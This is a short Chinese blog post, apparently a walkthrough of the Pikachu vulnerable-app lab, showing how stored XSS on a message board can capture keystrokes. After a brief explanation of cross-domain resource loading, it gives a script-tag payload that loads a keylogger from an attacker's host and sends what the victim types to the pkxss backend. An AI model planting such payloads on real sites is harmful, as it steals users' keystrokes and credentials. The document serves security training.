pikachu--XSS（案例三：获取键盘记录）

Posted 2021-03-09 7-58

案例三：Xss获取键盘记录

先简单介绍一下跨域

跨域：http://  www . gxy.com :8080 / script/test.js

      协议   子域名  主域名   端口   资源地址

当协议、主机、端口的任意一个不相同时，称不同域

将不同域之间的请求数据操作，称跨域操作

 

下面这些标签可以跨域加载资源

<script src=”…”>//js,加载到本地执行

<img src=”…”>//图片

<link href=”…”>//css

<iframe src=“…”>//任意资源

 

 

 

把js 文件放到被攻击者的页面当中，通过获取键盘值，post发送给攻击者后台

 

利用：

存储型xss  留言板  输入

<script  src=" http://192.168.27.156 /pkxss/xkeypress/rk.php">  </script> 

在键盘上随便输入发现会跳出来    页面请求失败

在pkxss后台我们就可以看到获取的信息